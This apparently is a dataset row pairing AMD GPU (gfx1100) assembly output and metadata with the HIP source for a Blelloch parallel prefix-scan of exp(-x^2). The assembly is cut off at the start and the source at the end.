v_dual_fmamk_f32 v9, v7, 0x32a5705f, v9 :: v_dual_sub_f32 v8, v8, v10
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_3)
v_add_f32_e32 v8, v8, v9
v_sub_f32_e32 v3, v3, v5
v_cvt_i32_f32_e32 v5, v10
v_exp_f32_e32 v8, v8
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_f32_e32 v2, v2, v3
v_cndmask_b32_e32 v2, 0, v2, vcc_lo
v_cmp_ngt_f32_e32 vcc_lo, 0xc2ce8ed0, v7
s_waitcnt_depctr 0xfff
v_ldexp_f32 v3, v8, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_cndmask_b32_e32 v3, 0, v3, vcc_lo
v_cmp_nlt_f32_e32 vcc_lo, 0x42b17218, v7
v_dual_add_f32 v2, v6, v2 :: v_dual_cndmask_b32 v3, 0x7f800000, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_fma_f32 v2, v3, v2, v3
v_cmp_eq_f32_e32 vcc_lo, 0x7f800000, v3
v_cndmask_b32_e32 v2, v2, v3, vcc_lo
v_cmp_neq_f32_e32 vcc_lo, 0, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cndmask_b32_e64 v2, 0x7f800000, |v2|, s0
v_cndmask_b32_e32 v3, 0, v2, vcc_lo
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_mul_f32_e32 v0, 0xbfb8aa3b, v3
v_cmp_nlt_f32_e32 vcc_lo, 0x42ce8ed0, v3
v_fma_f32 v2, v3, 0xbfb8aa3b, -v0
v_rndne_f32_e32 v4, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_fmamk_f32 v2, v3, 0xb2a5705f, v2
v_sub_f32_e32 v0, v0, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_add_f32_e32 v0, v0, v2
v_cvt_i32_f32_e32 v2, v4
v_exp_f32_e32 v0, v0
s_waitcnt_depctr 0xfff
v_ldexp_f32 v0, v0, v2
v_ashrrev_i32_e32 v2, 31, v1
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_cndmask_b32_e32 v4, 0, v0, vcc_lo
v_lshlrev_b64 v[0:1], 2, v[1:2]
v_cmp_ngt_f32_e32 vcc_lo, 0xc2b17218, v3
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_3)
v_cndmask_b32_e32 v2, 0x7f800000, v4, vcc_lo
v_add_co_u32 v0, vcc_lo, s4, v0
s_delay_alu instid0(VALU_DEP_4)
v_add_co_ci_u32_e32 v1, vcc_lo, s5, v1, vcc_lo
global_store_b32 v[0:1], v2, off
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z16prepare_functionPfiff
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 280
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 12
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z16prepare_functionPfiff, .Lfunc_end0-_Z16prepare_functionPfiff
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z20blelloch_reduce_stepPfii
.globl _Z20blelloch_reduce_stepPfii
.p2align 8
.type _Z20blelloch_reduce_stepPfii,@function
_Z20blelloch_reduce_stepPfii:
s_clause 0x1
s_load_b32 s2, s[0:1], 0xc
s_load_b32 s3, s[0:1], 0x1c
s_waitcnt lgkmcnt(0)
s_ashr_i32 s4, s2, 31
s_and_b32 s3, s3, 0xffff
s_add_i32 s5, s2, s4
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_xor_b32 s4, s5, s4
v_cvt_f32_u32_e32 v1, s4
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_4) | instid1(VALU_DEP_1)
v_rcp_iflag_f32_e32 v1, v1
s_waitcnt_depctr 0xfff
v_mul_f32_e32 v3, 0x4f7ffffe, v1
v_mad_u64_u32 v[1:2], null, s15, s3, v[0:1]
s_sub_i32 s3, 0, s4
v_add_nc_u32_e32 v2, 1, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v4, 31, v2
v_add_nc_u32_e32 v2, v2, v4
v_cvt_u32_f32_e32 v0, v3
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_xor_b32_e32 v2, v2, v4
v_mul_lo_u32 v3, s3, v0
s_mov_b32 s3, exec_lo
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_hi_u32 v3, v0, v3
v_add_nc_u32_e32 v0, v0, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_hi_u32 v0, v2, v0
v_mul_lo_u32 v0, v0, s4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_nc_u32_e32 v0, v2, v0
v_subrev_nc_u32_e32 v2, s4, v0
v_cmp_le_u32_e32 vcc_lo, s4, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cndmask_b32_e32 v0, v0, v2, vcc_lo
v_subrev_nc_u32_e32 v2, s4, v0
v_cmp_le_u32_e32 vcc_lo, s4, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cndmask_b32_e32 v0, v0, v2, vcc_lo
v_xor_b32_e32 v0, v0, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_nc_u32_e32 v0, v0, v4
v_cmpx_eq_u32_e32 0, v0
s_cbranch_execz .LBB1_2
s_lshr_b32 s3, s2, 31
s_load_b64 s[0:1], s[0:1], 0x0
s_add_i32 s2, s2, s3
v_ashrrev_i32_e32 v2, 31, v1
s_ashr_i32 s2, s2, 1
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_subrev_nc_u32_e32 v3, s2, v1
v_lshlrev_b64 v[0:1], 2, v[1:2]
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v4, 31, v3
v_lshlrev_b64 v[3:4], 2, v[3:4]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v2, vcc_lo, s0, v3
v_add_co_ci_u32_e32 v3, vcc_lo, s1, v4, vcc_lo
v_add_co_u32 v0, vcc_lo, s0, v0
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
s_clause 0x1
global_load_b32 v2, v[2:3], off
global_load_b32 v3, v[0:1], off
s_waitcnt vmcnt(0)
v_add_f32_e32 v2, v2, v3
global_store_b32 v[0:1], v2, off
.LBB1_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z20blelloch_reduce_stepPfii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 272
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 5
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end1:
.size _Z20blelloch_reduce_stepPfii, .Lfunc_end1-_Z20blelloch_reduce_stepPfii
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z9kill_lastPfi
.globl _Z9kill_lastPfi
.p2align 8
.type _Z9kill_lastPfi,@function
_Z9kill_lastPfi:
s_clause 0x1
s_load_b32 s2, s[0:1], 0x1c
s_load_b32 s3, s[0:1], 0x8
s_waitcnt lgkmcnt(0)
s_and_b32 s2, s2, 0xffff
s_add_i32 s3, s3, -1
v_mad_u64_u32 v[1:2], null, s15, s2, v[0:1]
s_mov_b32 s2, exec_lo
s_delay_alu instid0(VALU_DEP_1)
v_cmpx_eq_u32_e64 s3, v1
s_cbranch_execz .LBB2_2
s_load_b64 s[0:1], s[0:1], 0x0
v_ashrrev_i32_e32 v2, 31, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_lshlrev_b64 v[0:1], 2, v[1:2]
v_mov_b32_e32 v2, 0
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s0, v0
s_delay_alu instid0(VALU_DEP_3)
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_store_b32 v[0:1], v2, off
.LBB2_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z9kill_lastPfi
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 272
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 3
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end2:
.size _Z9kill_lastPfi, .Lfunc_end2-_Z9kill_lastPfi
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z23blelloch_downsweep_stepPfii
.globl _Z23blelloch_downsweep_stepPfii
.p2align 8
.type _Z23blelloch_downsweep_stepPfii,@function
_Z23blelloch_downsweep_stepPfii:
s_clause 0x1
s_load_b32 s2, s[0:1], 0xc
s_load_b32 s3, s[0:1], 0x1c
s_waitcnt lgkmcnt(0)
s_ashr_i32 s4, s2, 31
s_and_b32 s3, s3, 0xffff
s_add_i32 s5, s2, s4
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_xor_b32 s4, s5, s4
v_cvt_f32_u32_e32 v1, s4
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_4) | instid1(VALU_DEP_1)
v_rcp_iflag_f32_e32 v1, v1
s_waitcnt_depctr 0xfff
v_mul_f32_e32 v3, 0x4f7ffffe, v1
v_mad_u64_u32 v[1:2], null, s15, s3, v[0:1]
s_sub_i32 s3, 0, s4
v_add_nc_u32_e32 v2, 1, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v4, 31, v2
v_add_nc_u32_e32 v2, v2, v4
v_cvt_u32_f32_e32 v0, v3
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_xor_b32_e32 v2, v2, v4
v_mul_lo_u32 v3, s3, v0
s_mov_b32 s3, exec_lo
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_hi_u32 v3, v0, v3
v_add_nc_u32_e32 v0, v0, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_hi_u32 v0, v2, v0
v_mul_lo_u32 v0, v0, s4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_nc_u32_e32 v0, v2, v0
v_subrev_nc_u32_e32 v2, s4, v0
v_cmp_le_u32_e32 vcc_lo, s4, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cndmask_b32_e32 v0, v0, v2, vcc_lo
v_subrev_nc_u32_e32 v2, s4, v0
v_cmp_le_u32_e32 vcc_lo, s4, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cndmask_b32_e32 v0, v0, v2, vcc_lo
v_xor_b32_e32 v0, v0, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_nc_u32_e32 v0, v0, v4
v_cmpx_eq_u32_e32 0, v0
s_cbranch_execz .LBB3_2
s_load_b64 s[0:1], s[0:1], 0x0
s_lshr_b32 s3, s2, 31
v_ashrrev_i32_e32 v2, 31, v1
s_add_i32 s2, s2, s3
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_ashr_i32 s2, s2, 1
v_subrev_nc_u32_e32 v3, s2, v1
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_lshlrev_b64 v[0:1], 2, v[1:2]
v_ashrrev_i32_e32 v4, 31, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_3)
v_lshlrev_b64 v[2:3], 2, v[3:4]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s0, v0
s_delay_alu instid0(VALU_DEP_4) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
v_add_co_u32 v2, vcc_lo, s0, v2
s_delay_alu instid0(VALU_DEP_4)
v_add_co_ci_u32_e32 v3, vcc_lo, s1, v3, vcc_lo
s_clause 0x1
global_load_b32 v4, v[0:1], off
global_load_b32 v5, v[2:3], off
s_waitcnt vmcnt(0)
v_add_f32_e32 v5, v4, v5
s_clause 0x1
global_store_b32 v[0:1], v5, off
global_store_b32 v[2:3], v4, off
.LBB3_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z23blelloch_downsweep_stepPfii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 272
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 6
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end3:
.size _Z23blelloch_downsweep_stepPfii, .Lfunc_end3-_Z23blelloch_downsweep_stepPfii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .offset: 8
.size: 4
.value_kind: by_value
- .offset: 12
.size: 4
.value_kind: by_value
- .offset: 16
.size: 4
.value_kind: by_value
- .offset: 24
.size: 4
.value_kind: hidden_block_count_x
- .offset: 28
.size: 4
.value_kind: hidden_block_count_y
- .offset: 32
.size: 4
.value_kind: hidden_block_count_z
- .offset: 36
.size: 2
.value_kind: hidden_group_size_x
- .offset: 38
.size: 2
.value_kind: hidden_group_size_y
- .offset: 40
.size: 2
.value_kind: hidden_group_size_z
- .offset: 42
.size: 2
.value_kind: hidden_remainder_x
- .offset: 44
.size: 2
.value_kind: hidden_remainder_y
- .offset: 46
.size: 2
.value_kind: hidden_remainder_z
- .offset: 64
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 88
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 280
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z16prepare_functionPfiff
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z16prepare_functionPfiff.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 12
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .offset: 8
.size: 4
.value_kind: by_value
- .offset: 12
.size: 4
.value_kind: by_value
- .offset: 16
.size: 4
.value_kind: hidden_block_count_x
- .offset: 20
.size: 4
.value_kind: hidden_block_count_y
- .offset: 24
.size: 4
.value_kind: hidden_block_count_z
- .offset: 28
.size: 2
.value_kind: hidden_group_size_x
- .offset: 30
.size: 2
.value_kind: hidden_group_size_y
- .offset: 32
.size: 2
.value_kind: hidden_group_size_z
- .offset: 34
.size: 2
.value_kind: hidden_remainder_x
- .offset: 36
.size: 2
.value_kind: hidden_remainder_y
- .offset: 38
.size: 2
.value_kind: hidden_remainder_z
- .offset: 56
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 64
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 80
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 272
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z20blelloch_reduce_stepPfii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z20blelloch_reduce_stepPfii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 5
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .offset: 8
.size: 4
.value_kind: by_value
- .offset: 16
.size: 4
.value_kind: hidden_block_count_x
- .offset: 20
.size: 4
.value_kind: hidden_block_count_y
- .offset: 24
.size: 4
.value_kind: hidden_block_count_z
- .offset: 28
.size: 2
.value_kind: hidden_group_size_x
- .offset: 30
.size: 2
.value_kind: hidden_group_size_y
- .offset: 32
.size: 2
.value_kind: hidden_group_size_z
- .offset: 34
.size: 2
.value_kind: hidden_remainder_x
- .offset: 36
.size: 2
.value_kind: hidden_remainder_y
- .offset: 38
.size: 2
.value_kind: hidden_remainder_z
- .offset: 56
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 64
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 80
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 272
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z9kill_lastPfi
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z9kill_lastPfi.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 3
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .offset: 8
.size: 4
.value_kind: by_value
- .offset: 12
.size: 4
.value_kind: by_value
- .offset: 16
.size: 4
.value_kind: hidden_block_count_x
- .offset: 20
.size: 4
.value_kind: hidden_block_count_y
- .offset: 24
.size: 4
.value_kind: hidden_block_count_z
- .offset: 28
.size: 2
.value_kind: hidden_group_size_x
- .offset: 30
.size: 2
.value_kind: hidden_group_size_y
- .offset: 32
.size: 2
.value_kind: hidden_group_size_z
- .offset: 34
.size: 2
.value_kind: hidden_remainder_x
- .offset: 36
.size: 2
.value_kind: hidden_remainder_y
- .offset: 38
.size: 2
.value_kind: hidden_remainder_z
- .offset: 56
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 64
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 80
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 272
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z23blelloch_downsweep_stepPfii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z23blelloch_downsweep_stepPfii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 6
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <stdio.h>
#include <stdlib.h>
#include <hip/hip_runtime.h>
#include <math.h>
// #include <stdexcept>
#define CUDA_CALL(x) do { if((x)!=hipSuccess) { \
printf("Error at %s:%d\n",__FILE__,__LINE__);\
return EXIT_FAILURE;}} while(0)
__global__ void prepare_function(float * d_out, int n_points,
float x_min, float x_max)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float x = x_min + (x_max - x_min) * id / n_points;
d_out[id] = exp(-pow(x, 2));
// d_out[id] = (float) id;
}
// __global__ void blelloch_reduce(float * d_in, int n_points)
// {
// /* Assuming n_points is a power of two */
// int n_current = 2;
// int id = threadIdx.x + blockIdx.x * blockDim.x;
//
// while(n_current <= n_points)
// {
// if ((id + 1) % n_current == 0)
// {
// d_in[id] += d_in[id - n_current/2];
// }
// __syncthreads();
// n_current = n_current * 2;
// }
//
// }
__global__ void blelloch_reduce_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if ((id + 1) % stride_step == 0)
{
d_in[id] += d_in[id - stride_step/2];
}
}
__global__ void kill_last(float * d_in, int n_points)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if (id == n_points - 1)
{
d_in[id] = 0;
}
}
/*
__global__ void blelloch_downsweep(float * d_in, int n_points)
{
int n_current = n_points;
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if (id == n_points - 1)
{
d_in[id] = 0;
}
__syncthreads();
while(n_current >= 2)
{
if ((id + 1) % n_current == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - n_current/2];
d_in[id - n_current/2] = tmp;
}
n_current = n_current / 2;
__syncthreads();
}
}*/
__global__ void blelloch_downsweep_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if ((id + 1) % stride_step == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - stride_step/2];
d_in[id - stride_step/2] = tmp;
}
// __syncthreads();
}
int main(int argc, char* argv[])
{
float minus_infty = -8;
float x_max = 0;
int n_blocks = 1024;
int n_points_per_block = 1024;
int n_points = n_points_per_block * n_blocks;
int stride_step;
float dx;
float *devFunVals;
float *hostFunVals;
float *hostFunVals2;
if (argc > 1)
{
sscanf(argv[1], "%f", &x_max);
// printf("%f\n", x_max);
if (x_max < minus_infty)
{
printf("0\n");
return 0;
}
}
else
{
printf("Usage: ./scan <number> \n");
return 0;
}
dx = (x_max - minus_infty) / (float) n_points;
// printf("dx: %e\n", dx);
// printf("n_points: %d\n", n_points);
//
if (n_points < 0 || ((n_points & (n_points - 1)) != 0))
{
printf("n_points is not a power of two\n");
return 1;
}
hostFunVals = (float *)calloc(n_points, sizeof(float));
hostFunVals2 = (float *)calloc(n_points, sizeof(float));
CUDA_CALL(hipMalloc((void **)&devFunVals, n_points*sizeof(float)));
prepare_function<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, minus_infty, x_max);
// blelloch_reduce<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
stride_step = 2;
while(stride_step <= n_points)
{
blelloch_reduce_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step * 2;
}
stride_step = n_points;
CUDA_CALL(hipMemcpy(hostFunVals, devFunVals, n_points*sizeof(float), hipMemcpyDeviceToHost));
kill_last<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
while(stride_step >= 2)
{
blelloch_downsweep_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step / 2;
}
CUDA_CALL(hipMemcpy(hostFunVals2, devFunVals, n_points*sizeof(float), hipMemcpyDeviceToHost));
// for(int i=0; i<n_points; i++)
// {
